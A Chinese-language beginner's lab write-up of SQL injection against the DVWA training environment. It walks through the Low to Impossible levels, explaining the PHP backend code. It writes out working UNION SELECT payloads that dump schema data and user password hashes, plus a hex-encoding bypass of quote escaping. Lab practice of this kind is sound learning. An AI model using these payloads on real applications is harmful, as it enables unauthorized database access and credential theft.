在這裏我所使用的的是Windows 10系統,dvwa+phpstudy_pro進行靶場練習,關於dvwa的介紹網上一搜一大把,在這裏就不加以介紹了,我還是把實踐內容介紹好吧!我從網上搜到各位大神操作步驟進行整理學習。
本文介紹SQL Injection的相關內容,後續內容會在之後的文章繼續介紹。
小白學習中......
Low
後端控制代碼
後端代碼解析
1、isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
2、$_REQUEST用來收集HTML表單提交的數據,點擊‘submit’按鈕提交表單數據
3、query變量爲直接構造的sql查詢語句,沒有對用戶的輸入進行任何的過濾,導致sql注入的存在。
4、result通過mysqli_query()函數獲取數據庫查詢的結果集。die()函數表示連接數據庫失敗退出當前腳本。$GLOBALS["___mysqli_ston"]表示數據庫的連接語句
5、mysqli_fetch_assoc($result)從結果集中取出一行作爲關聯數組,即列名和值對應的鍵值對。
6、最後通過while判斷若有查詢結果且循環執行$row = mysqli_fetch_assoc( $result ),將結果集中每行結果對應的字段值賦值給相應的字段,並遍歷輸出。
7、mysqli_close() 函數關閉先前打開的數據庫連接。
8、$GLOBALS["___mysqli_ston"]表示數據庫的連接語句
9、被包圍在 <pre> 標籤 元素中的文本通常會保留空格和換行符。而文本也會呈現爲等寬字體。
10、or (x or y)如果 x 和 y 有且僅有一個爲 true,則返回 true
具體瞭解菜鳥教程:PHP網站(https://www.runoob.com/php/php-tutorial.html)和MySQL網站(https://www.runoob.com/mysql/mysql-tutorial.html)
先確定正常和不正常的回顯
回顯,就是顯示正在執行的批處理命令及執行的結果等。
輸入1時,有回顯,是正常的
輸入“2”,回顯正常
輸入6時,沒有回顯。
從1~5是查詢成功的,而5以後,卻不顯示,說明有5個用戶
判斷是否存在注入點
我先嚐試數字型注入:“ ’ ”,“and 1=1”,“and 1=2”
首先輸入“ ’ ”,查詢報錯:
首先輸入“1 and 1=1”,查詢成功:
當輸入“1 and 1=2”的時候,查詢成功:
通過注入發現該注入爲數字型,而不是字符型
列字段
使用命令:1' or 1=1 order by 1 # 、 1' or 1=1 order by 2 # 、1' or 1=1 order by 3 # ,查詢成功。
#是註釋符號
當輸入“1' or 1=1 order by 1 #”時,查詢成功:
當輸入“1' or 1=1 order by2 #”時,查詢成功:
當輸入“1' or 1=1 order by 3 #”時,查詢報錯:
說明執行的sql查詢語句中只有兩個字段,即這裏的First name、Surname.
猜測表名
使用命令:1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#,查詢成功:
猜測列名
使用命令:1' union select 1, group_concat(column_name) from information_schema.columns where table_schema=’users’#,查詢成功:
猜用戶密碼
使用命令:1' union select null, concat_ws(char(32,58,32),user,password) from users#,查詢成功:
判斷數據庫版本
使用命令:1' union select version(),2# ,版本信息大5.0,說明有數據庫,可爆出:information_schema ,查詢成功:於
獲取數據庫名稱、用戶
使用命令:1' union select database(),user()#,查詢成功:
爆出dvwa裏面的所有表名
使用命令:1' union select table_name,2 from information_schema.tables where table_schema = 'dvwa'#,查詢成功:
爆出users表裏面的所有列名
使用命令:1' union select column_name,2 from information_schema.columns where table_name = 'users'#,查詢成功:
爆出use和password列裏面的數據
使用命令:1' union select user,password from users# ,查詢成功: 但是這個命令需要MD5進行解密(https://pmd5.com/)
Medium
該級別需要burpsuite抓包來進行演練
後端控制代碼
可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
後端代碼解析
在low級別中,個別語句已經介紹,在這裏就不一一展示,在這裏展示一些low級別中未出現的。
1、$_POST接受表單以POST方式傳遞過來的變量
2、mysqli_real_escape_string() 函數轉義在 SQL 語句中使用的字符串中的特殊字符。
3、mysqli_error() 函數返回最近調用函數的最後一個錯誤描述。
4、is_object() 函數用於檢測變量是否是一個對象。如果指定變量爲對象,則返回 TRUE,否則返回 FALSE。
5、$_mysqli_res可能是其中的一個定義,有可能是res=result 這個是我自己的判斷
6、mysqli_connect_error() 函數返回上一次連接錯誤的錯誤描述。
界面
界面中有列表,該列表表示5個用戶和low其實是一樣的。
判斷是否存在注入點
抓包更改參數id爲1’ or 1=1 #,查詢報錯:
修改抓包參數id爲1 or 1=1 #,查詢成功:
說明存在數字型注入。(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因爲數字型注入並不需要藉助引號)
查詢sql查詢語句中的字段數
抓包更改參數id爲1 order by 2 #,查詢成功:
抓包更改參數id爲1 order by 3 #,查詢報錯:
說明執行的sql查詢語句中只有兩個字段,即這裏的First name、Surname。
確定顯示的字段順序
抓包更改參數id爲1 union select 1,2 #,查詢成功:
獲取當前數據庫
抓包更改參數id爲1 union select 1,database() #,查詢成功:
說明當前的數據庫爲dvwa。
獲取數據庫中的表
抓包更改參數id爲1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:
說明數據庫dvwa中一共有兩個表,guestbook與users。
獲取表中的字段名
抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢報錯:
這是因爲單引號被轉義了,變成了\’。
可以利用16進制進行繞過,抓包更改參數id爲1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:
說明users表中有8個字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
爆出數據
抓包修改參數id爲1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,該操作依然需要MD5進行解密,查詢成功:
這裏就爆出users表中所有的用戶的user_id,first_name,last_name,password的數據。
High
後端控制代碼
可以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。
後端代碼解析
1、$_SESSION 存儲和取回 session 變量的正確方法是使用 PHP $_SESSION 變量:
2、LIMIT 1 limit N:返回N條記錄
3、is_null() 函數用於檢測變量是否爲 NULL。如果指定變量爲 NULL,則返回 TRUE,否則返回 FALSE。
漏洞利用
抓包更改參數id爲1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,該操作依然需要MD5解密,查詢成功:
需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是爲了防止一般的sqlmap注入,因爲sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
Impossible
後端控制代碼
Impossible級別的代碼採用了PDO技術,劃清了代碼與數據的界限,有效防禦SQL注入,同時只有返回的查詢結果數量爲一時,纔會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。
後端代碼解析
1、$_GET收集來自表單中的值
2、user_token:用戶token
3、is_numeric()函數用於檢測變量是否爲數字或數字字符串。
4、prepare ()準備要執行的SQL語句並返回一個 PDOStatement 對象
5、bindParam () 綁定一個參數到指定的變量名
6、execute()方法返回對象
7、fetch是一種HTTP數據請求的方式,是XMLHttpRequest的一種替代方案。
8、rowCount — 返回受上一個 SQL 語句影響的行數
generateSessionToken()和CSRF相關聯,在這裏我也不清楚,我會在以後的時間繼續完成
總結
Low、medium和high這三個等級,實際上做法是一樣的,只是說他們的提交方式不同,low是get型,medium是post型,high是在一個頁面輸入,另外一個頁面顯示,但是是一樣的。不過網上說high級別的是防止一般sqlmap注入,而impossible則更加高級。
感謝網上的各位大神分享sql注入的操作步驟和學習心得
參考網站:https://www.e-learn.cn/content/qita/2319755
https://blog.csdn.net/wjy9649/article/details/78844382
https://www.freebuf.com/articles/web/120747.html